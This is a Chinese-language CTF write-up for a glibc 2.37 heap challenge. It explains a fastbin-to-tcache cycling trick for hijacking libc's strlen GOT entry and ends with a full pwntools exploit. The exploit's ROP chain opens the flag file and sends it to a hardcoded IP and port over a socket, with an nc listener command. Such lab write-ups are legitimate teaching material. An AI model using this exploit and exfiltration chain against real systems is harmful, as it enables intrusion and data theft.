tcache七星剑法:轮回——Fastbin reverse into tcache
tcache七星剑法:轮回 ——Fastbin reverse into tcache
DASCTF 2023_4的一道题,BUU上有原题
赛后复现了这道题,这里重点解析这题解法中对于tcache和fastbin的梦幻联动。
题目简介
这里的题目不再分析细节了,题目链接我放在下面,详细信息不在这里赘述。
有UAF,没有Edit。
2.37的orw题目,肯定是打glibc got利用puts函数中内置的strlen去劫持程序执行流,通过setcontext+61把栈迁移到堆上打shellcode或者rop。不熟悉的师傅们可以可以参考:无路远征——GLIBC2.37后时代的IO攻击之道(二)house_of_秦月汉关
这个题目的难点在于:
- size固定,只能malloc(0x30)
- idx较少,需要精打细算
- free机会受限制,至少要用掉七次free来填满tcache,然后就只剩下3次free机会了
开始看题
前奏,先试着泄露一下地址
我假定你到现在已经对于glibc的堆管理器机制烂熟于心,对于一些机制我仅仅一带而过、
首先,我们要泄露堆基址。由于2.37机制启用了next指针异或,所以只要free一个堆块就可以show出来其next域内容,进而推算出heapbase了。
不懂异或原理的,可以去看源码或者去看雪找winmt大神写的堆/IO总结
接下来是如何泄露libc地址
在堆段得到libc地址的方法一般有:
- 利用进入(或曾进入)双向链表bin的chunk
我们常常利用unsorted bin,而size不足时,通过非正常手段得到unsorted bin的方法往往有
- 触发fastbin chunk合并
- 伪造已有chunk的size及下一个堆块的head后将其free
- top chunk的house of orange
topchunk本来就有点剑走偏锋,加上这道题我们malloc的size太小,所以我们不用,而我们free次数太少,创造多个fastbin去合并也不现实,于是我们只剩下第二个办法,即修改size。
在有了堆地址的基础上,我们可以尝试通过劫持tcache的next指针来实现任一地址分配,但是由于这道题没有edit,该版本tcache由有double防护,因此要构造如下结构
tcache : chunk_6 -> chunk_5 -> chunk_4 -> chunk_3 -> chunk_2 -> chunk_1 -> chunk_0
fastbin : chunk_7
之后取出chunk_6,free掉chunk_7
tcache : chunk_7 -> chunk_5 -> chunk_4 -> chunk_3 -> chunk_2 -> chunk_1 -> chunk_0
fastbin : chunk_7
接下来就可以从tcache里面取出来chunk_7,可以把其next指向一个已有的堆块的头部,将其size修改后free掉就可以得到libc基址了。
tcache : null
fastbin : chunk_7 -> fake_chunk -> ?(注意这里的问号)
理论上是这样,但实际跑起来会,涉及更多细节
指针异或带来的小麻烦
之后从fastbin中取出来chunk_7时,会触发tcache的一个机制:程序每当从fastbin/small bin中取出一个堆块,会尝试把该bin中剩余的堆块拿出来去填充tcache
取堆块的过程与正常从链表中取出堆块的方式一样,对于fastbin来讲就是先进后出,对于smallbin来说就是先进先出。这个过程,直到tcache被填满或者链表被取空。
先讲以取空链表的方式结束的方法,对于fastbin而言,链表取空,即bin的fd指向了0,这个情况得是取出一个堆块后,这个链表最后以0结尾。
一般来说堆段可能比较干净,fake_chunk的next大概率是0,在2.32之前取出chunk_7后往往是:
tcache : null
fastbin : chunk_7 -> fake_chunk -> null
取出堆块chunk_7
tcache : fake_chunk
fastbin : null
但是在这道题有指针保护机制的存在,next指针会在使用前需要先由REVEAL_PTR解除异或保护。所以上面的例子中,如果你不对fake_chunk的地址提前进行布置其next域,而任由其为初始值为0的话,其next域会被解析为一个非法地址
tcache : null
fastbin : chunk_7 -> fake_chunk -> Invaild_addr (error)
这在Fastbin reverse into tcache的过程中,会把Invaild_addr这个地址当做一个堆块地址继续REMOVEFB的操作,其中会涉及地址的读写,这就大概率寄掉了。
因此我们需要提前在这里布置,由于已知堆地址,我们可以在这里写上0经过PROTECT_PTR加密后的结果。这样就能正常结束这个Fastbin reverse into tcache的过程,但是由于这道题我们缺乏free的机会,如果就此停手,我们再被迫free掉一个被篡改size的chunk去泄露libc,就没有free机会供我们利用了。因此我们既要正常通过Fastbin reverse into tcache的流程,又要留给自己一些仍在fasbin/tcache中的堆块。
从平稳过关,到再留一手
很容易想到,我们可以在里面写别的堆段地址,我们在之前从tcache里面取出chunk_7时可以这样伪造
tcache : null
fastbin : chunk_7 -> fake_chunk_another -> fake_chunk -> 0
之后我们取出chunk_7,链表会变成什么样呢?大家可以先自己画一下。
答案如下:
tcache : fake_chunk -> fake_chunk_another -> 0
fastbin : null
这里最需要注意的一点就是fake_chunk_another和fake_chunk的顺序反过来了。这是因为向fastbin中插入堆块和从fastbin中取堆块,都是在最靠近bin的地方进行插入,而tcache也是同理。因此,fastbin中最靠近bin的堆块会最先被取出来,然后最先被插入tcache。也就是说fastbin中的堆块,进入tcache后,其顺序会颠倒。
这样,拿出fake_chunk修改size,可以泄露libc地址,而且此时tcache中仍然存有堆块。但是由于题目没有edit,而我们留下来的堆块都在tcache里面,难以劫持指针,因此我们还需继续想办法。
轮回 ——Fastbin reverse into tcache
这里我们就要利用另外一个性质:当tcache满7个后,程序就会停止从fastbin中取出堆块放进tcache的行为。因此,我们可以让上面伪造的fastbin链足够长,且在邻接点处构成一个循环链表:
tcache : null
fastbin : chunk_7 -> fake_chunk_1 -> fake_chunk_2 -> fake_chunk_3 -> fake_chunk_4 -> fake_chunk_5 -> fake_chunk_6 -> fake_chunk_0 -> fake_chunk_0 -> ...
取出chunk_7,fake_chunk_1到fake_chunk_6先进入tcache,然后把fastbin中第一个chunk_0给取出来,同时把第二个fake_chunk_0的地址写进fastbin,然后把fake_chunk_0放进tcache,就会形成如下结构:
tcache : fake_chunk_0 -> fake_chunk_6 -> fake_chunk_5 -> fake_chunk_4 -> fake_chunk_3 -> fake_chunk_2 -> fake_chunk_1
fastbin : fake_chunk_0 -> ???(大家可以先分析一下这里的问号是什么)
这里的fake_chunk,可以在之前第一轮取堆块的时候就在其中构造好。
这时我们发现,此时fastbin和tcache又变成了double free后构造出来的结构,即fastbin和tcache的第一个堆块是同一个堆块,这时我们就又能进行控制了。
我们可以进行如下操作:
#tcache -> fake_chunk_6 -> fake_chunk_5 -> fake_chunk_4 -> fake_chunk_3 -> fake_chunk_2 -> fake_chunk_1
#fastbin -> fake_chunk_0 -> fake_chunk_6 ->X
取出fake_chunk_0,然后把next或者说fd的位置写上PROTECT_PTR加密后的fake_chunk_6,这样接下来我们取出fake_chunk_6,就又能控制fake_chunk_6的next,然后可以再将其写成fake_chunk_5......
tcache : null
fastbin : fake_chunk_0 -> fake_chunk_6 -> fake_chunk_5 -> fake_chunk_4 -> fake_chunk_3 -> fake_chunk_2 -> fake_chunk_1 -> strlen_libcgot - 0x10 -> Invaild_addr (error)
然后我们故技重施,取空tcache,最后尾刀我们就写上libc got的地址,这样随着下一次取出fake_chunk_0触发fastbin reverse into tcache,就会形成如下结构:
tcache : strlen_libcgot - 0x10 -> fake_chunk_1 -> fake_chunk_2 -> fake_chunk_3 -> fake_chunk_4 -> fake_chunk_5 -> fake_chunk_6
fastbin : Invaild_addr
之后就可以把堆块分配进libc got覆盖相关函数指针,劫持程序执行流到setcontext进行栈迁移等操作了。至于相关rop链如何布置,就不必赘述了。
这个技巧中,七个chunk从tcache被取出后,其中伪造的fake_chunk又依次进入了fastbin,并且再度被倒入tcache,然后再被链入fastbin,再被倒进tcache,如此反复。所以我给这个技巧起了一个形象的名字:轮回。
七星轮回的检查疏忽
有人会觉得很奇怪,为什么要让循环构建在fastbin末端?我直接在chunk_7后面构建循环不可以吗?
这里要动态地去分析问题,当循环中的一个堆块进入tcache后,其next就会被赋值,fastbin中第二个堆块通过next指针向后就不能找到其自身,而是tcache中原本第一个堆块的mem域,因此循环就会被破坏。而从fastbin中取出堆块的检查比较严格,mem域和chunk有偏移,必须先构造好fake_chunk_head,一旦因为tcache和fastbin的规则不同而令指针产生偏移,就会破坏循环。因此看似是一个无限制的循环,实际上只有两个能用。
而Fastbin reverse into tcache有一个漏洞,当填满tcache后,fastbin中剩下的堆块会直接作为fastbin的开头。这就是为什么我要把strlen_libcgot-0x10放在最后的原因:这个地方的next肯定是通过不了检查的,因此就卡第七次堆块挪动,让*strlen_libcgot对应的非法地址存在fastbin中。这个地址肯定是不能从fastbin中取出来的,地址不合法,但是我们取strlen_libcgot-0x10之后就相当于可以控制程序的执行流,就已经完成堆攻击的任务了
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (__glibc_unlikely (misaligned_chunk (tc_victim)))
malloc_printerr (
"malloc(): unaligned fastbin chunk detected 3");
if (SINGLE_THREAD_P)
*fb = REVEAL_PTR (tc_victim->fd);
else
{
REMOVE_FB (fb, pp, tc_victim); //单线程环境下不会走REMOVE_FB这个宏
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
后续工作:阴间的沙箱
之后就是常规的栈迁移,不再赘述。
不过这题沙箱开的很阴间
open系统调用ban了,这个可以用openat替代。read只能从0去读,因此这题要先关闭标准输入,再打开flag文件,这样就能让0对应flag文件把flag读进来。
这题在show函数次数用尽后,还会关闭标准输出和标准错误这两个文件。因此我们要通过socket函数和connnect函数把打开的flag反弹输出到我们本地。
struct sockaddr {
sa_family_t sa_family; // 地址族,指定地址的类型,如 AF_INET、AF_INET6
char sa_data[14]; // 地址数据
};
unsigned long long ip_port=0x81AEA8C0401F0002
close(0);
openat(0,"./flag",0);
read(0,flag_addr,0x30);
socket(2,1,0);
connect(1,&ip_port,0x10);
write(1,flag_addr,0x30)
socket(2,1,0)创建了一个套接字描述符,这里就相当于打开了一个新的文件,自然文件描述符为当前能用的最小的描述符1,之后把这个套接字描述符通过connect函数和要连接的服务器地址结构(struct sockaddr)
对于IPv4的地址,sa_family要填入常量AF_INET,即2。后面sa_data填入ip地址和就好了。端口号,注意先写端口号(0x401F),这里是大端序,对应8000,即0x1F40。后面IP地址也是大端序,实际对应ip为192.168.174.129
之后用nc开一个端口监听就好了
nc -l 192.168.174.129 8000
EXP
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/pwn'
libcpath='/home/wjc/Desktop/libc.so.6'
p=process(ELFpath)
#p=remote('148.70.159.118',33288)
e=ELF(ELFpath)
libc=ELF(libcpath)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
text_base, libc_base = get_base(p, 'pwn')
script = '''
set $text_base = {}
set $libc_base = {}
b*puts
b*malloc
'''.format(text_base, libc_base)
#b mprotect
#b *($text_base+0x0000000000000000F84)
#b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
#dprintf *($text_base+0x04441),"%c",$ax
#dprintf *($text_base+0x04441),"%c",$ax
#0x12D5
#0x04441
#b *($text_base+0x0000000000001671)
gdb.attach(p, script)
def cmd(idx,flag=False):
if flag:
sleep(0.1)
else:
ru("Choice >> ")
ss(idx)
def add(idx,content,flag=False):
cmd(1,flag)
if flag:
sleep(0.1)
else:
ru('Index >> ')
ss(idx)
if flag:
sleep(0.1)
else:
ru('ontent >> ')
s(content)
def free(idx,flag=False):
cmd(2,flag)
if flag:
sleep(0.1)
else:
ru('Index >> ')
ss(idx)
def show(idx,flag=False):
cmd(3,flag)
if flag:
sleep(0.1)
else:
ru('Index >> ' )
ss(idx)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
# add(0,'aaaa')
# add(1,'aaaa')
# add(2,'aaaa')
# add(3,'aaaa')
# add(4,'aaaa')
# add(5,'aaaa')
# add(6,'aaaa')
# add(7,'aaaa')
# add(8,'aaaa')
# for i in range(7):
# free(i)
# free(7)
# free(8)
# free(7)
# for i in range(7):
# add(i,'bbbb')
#debug()
#pause()
# add(7,'aaaa')
# pause()
add(0,'aaaa')
add(0,'aaaa')
add(8,'aaaa')
for i in range(10):
add(1,'aaaa')
for i in range(1,7):
add(i,'aaaa')
add(7,'aaaa')
for i in range(7):
free(i)
show(0)
ru("Content << ")
heapbase = u64( r(5).ljust(8,'\x00') ) << 12
LOGTOOL['heapbase'] = heapbase
free(7)
chunk_6_addr = heapbase + 0x710
fake_chunk_6_addr = chunk_6_addr + 0x20
fake_chunk_0_addr = heapbase + 0x2d0 + 0x20
fake_chunk_6_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_6_addr + 0x10, fake_chunk_0_addr)
add(6,fake_chunk_6_head)
free(7)
chunk_7_addr = heapbase + 0x750
chunk_1_addr = heapbase + 0x5d0
fake_chunk_1_addr = chunk_1_addr + 0x20
#tcache -> chunk_7 -> chunk_5 -> chunk_4 -> chunk_3 -> chunk_2 -> chunk_1 -> chunk_0
#fastbin -> chunk_7 -> X
add(7,ptrxor(chunk_7_addr + 0x10, fake_chunk_1_addr))
#tcache -> chunk_5 -> chunk_4 -> chunk_3 -> chunk_2 -> chunk_1 -> chunk_0
#fastbin -> chunk_7 -> fake_chunk_1 -> fake_chunk_2 -> fake_chunk_3 -> fake_chunk_4 -> fake_chunk_5 -> fake_chunk_6 -> fake_chunk_0 -> fake_chunk_6
chunk_5_addr = heapbase + 0x6d0
fake_chunk_5_addr = chunk_5_addr + 0x20
fake_chunk_5_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_5_addr + 0x10, fake_chunk_6_addr)
add(5,fake_chunk_5_head)
#add(5,'aaaa')
chunk_4_addr = heapbase + 0x690
fake_chunk_4_addr = chunk_4_addr + 0x20
fake_chunk_4_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_4_addr + 0x10, fake_chunk_5_addr)
add(4,fake_chunk_4_head)
#add(4,'aaaa')
chunk_3_addr = heapbase + 0x650
fake_chunk_3_addr = chunk_3_addr + 0x20
fake_chunk_3_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_3_addr + 0x10, fake_chunk_4_addr)
add(3,fake_chunk_3_head)
#add(3,'aaaa')
chunk_2_addr = heapbase + 0x610
fake_chunk_2_addr = chunk_2_addr + 0x20
fake_chunk_2_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_2_addr + 0x10, fake_chunk_3_addr)
add(2,fake_chunk_2_head)
#add(2,'aaaa')
fake_chunk_1_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_1_addr + 0x10, fake_chunk_2_addr)
add(1,fake_chunk_1_head)
#add(1,'aaaa')
fake_chunk_0_head = p64(0) * 2 + p64(0) + p64(0x41) + ptrxor(fake_chunk_0_addr + 0x10, fake_chunk_0_addr)
add(0,fake_chunk_0_head)
LOGTOOL['fake_chunk_0']=fake_chunk_0_addr
LOGTOOL['fake_chunk_1']=fake_chunk_1_addr
LOGTOOL['fake_chunk_2']=fake_chunk_2_addr
LOGTOOL['fake_chunk_3']=fake_chunk_3_addr
LOGTOOL['fake_chunk_4']=fake_chunk_4_addr
LOGTOOL['fake_chunk_5']=fake_chunk_5_addr
LOGTOOL['fake_chunk_6']=fake_chunk_6_addr
#tcache -> 0x0
#fastbin -> chunk_7 -> fake_chunk_1 -> fake_chunk_2 -> fake_chunk_3 -> fake_chunk_4 -> fake_chunk_5 -> fake_chunk_6 -> fake_chunk_0 -> fake_chunk_0
add(7,'aaaa')
#tcache -> fake_chunk_0 -> fake_chunk_6 -> fake_chunk_5 -> fake_chunk_4 -> fake_chunk_3 -> fake_chunk_2 -> fake_chunk_1
#fastbin -> fake_chunk_0 -> X
fake_chunk_0 = ptrxor(fake_chunk_0_addr + 0x10, fake_chunk_6_addr) + p64(0)*2 + p64(0x441)
add(0,fake_chunk_0) #fake_chunk_0
#now
#tcache -> fake_chunk_6 -> fake_chunk_5 -> fake_chunk_4 -> fake_chunk_3 -> fake_chunk_2 -> fake_chunk_1
#fastbin -> fake_chunk_0 -> fake_chunk_6 ->X
#leek
free(8)
show(8)
libcbase = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - (0x7f406e623ce0- 0x7f406e42d000)
LOGTOOL['libcbase'] = libcbase
strlen_libcgot = libcbase + (0x7f8913ab3080 - 0x7f89138bd000)
LOGTOOL['strlen_libcgot'] = strlen_libcgot
setcontext_61 = libcbase + libc.symbols['setcontext'] + 61
LOGTOOL['setcontext+61'] = setcontext_61
read_addr = libcbase + libc.symbols['read']
LOGTOOL['read_addr'] = read_addr
write_addr = libcbase + libc.symbols['write']
LOGTOOL['write_addr'] = write_addr
openat_addr = libcbase + libc.symbols['openat']
LOGTOOL['openat_addr'] = openat_addr
socket_addr = libcbase + libc.symbols['socket']
LOGTOOL['socket_addr'] = socket_addr
connect_addr = libcbase + libc.symbols['connect']
LOGTOOL['connect_addr'] = connect_addr
close_addr = libcbase + libc.symbols['close']
LOGTOOL['close'] = close_addr
#0x00000000000240e5 : pop rdi ; ret
pop_rdi_ret = libcbase + 0x240e5
#0x000000000002573e : pop rsi ; ret
pop_rsi_ret = libcbase + 0x2573e
#0x0000000000026302 : pop rdx ; ret
pop_rdx_ret = libcbase + 0x26302
add(6,ptrxor(fake_chunk_6_addr + 0x10, fake_chunk_5_addr),True)
add(5,ptrxor(fake_chunk_5_addr + 0x10, fake_chunk_4_addr),True)
add(4,ptrxor(fake_chunk_4_addr + 0x10, fake_chunk_3_addr),True)
add(3,ptrxor(fake_chunk_3_addr + 0x10, fake_chunk_2_addr),True)
add(2,ptrxor(fake_chunk_2_addr + 0x10, fake_chunk_1_addr),True)
add(1,ptrxor(fake_chunk_1_addr + 0x10, strlen_libcgot - 0x10),True)
#tcache -> 0
#fastbin -> fake_chunk_0 -> fake_chunk_6 -> fake_chunk_5 -> fake_chunk_4 -> fake_chunk_3 -> fake_chunk_2 -> fake_chunk_1 -> strlen_libcgot - 0x10
debug()
LOGALL()
pause()
add(0,'aaaa',True)
#tcache -> strlen_libcgot - 0x10 -> fake_chunk_1 -> fake_chunk_2 -> fake_chunk_3 -> fake_chunk_4 -> fake_chunk_5 -> fake_chunk_6
#fastbin -> ?
#0x0000000000157c3a : mov rdx, rbp ; mov rdi, r13 ; call qword ptr [rax + 0x20]
magic_gadget = libcbase + 0x157c3a
LOGTOOL['magic_gadget'] = magic_gadget
add(8,p64(magic_gadget),True)
pay1 = p64(0) + p64(0) + p64(0) + p64(0) + p64(setcontext_61) + p64(0)
add(1,pay1,True)
pay2 = p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)
add(2,pay2,True)
pay3 = p64(0) + p64(fake_chunk_4_addr + 0x10 - 0x8) + p64(0) + p64(0) + p64(heapbase + 0x2000) + p64(setcontext_61)
add(3,pay3,True)
pay4 = p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)
add(4,pay4,True)
pay5 = p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(heapbase + 0x2000)
add(5,pay5,True)
pay6 = p64(0x1000) + p64(0) + p64(0) + p64(heapbase + 0x2000) + p64(read_addr) + p64(0)
add(6,pay6,True)
#debug()
#pause()
show(1,True)
#pause()
flag_str = heapbase + 0x3000 - 0x100
ip_port = heapbase + 0x3000 - 0x100 + 0x10
flag_addr = heapbase + 0x3000 - 0x200
payload =p64(pop_rdi_ret)+p64(0)+p64(close_addr)
payload+=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_str)+p64(pop_rdx_ret)+p64(0)+p64(openat_addr)
payload+=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_addr)+p64(pop_rdx_ret)+p64(0x40)+p64(read_addr)
payload+=p64(pop_rdi_ret)+p64(2)+p64(pop_rsi_ret)+p64(1)+p64(pop_rdx_ret)+p64(0)+p64(socket_addr)
payload+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(ip_port)+p64(pop_rdx_ret)+p64(0x10)+p64(connect_addr)
payload+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(flag_addr)+p64(pop_rdx_ret)+p64(0x40)+p64(write_addr)
payload = payload.ljust(0xf00,'\x00') + '/flag\x00\x00\x00' + 8*'\x00'
#nc -l 192.168.174.129 8000
payload += p64(0x81AEA8C0401F0002)
sleep(0.1)
s(payload)
it()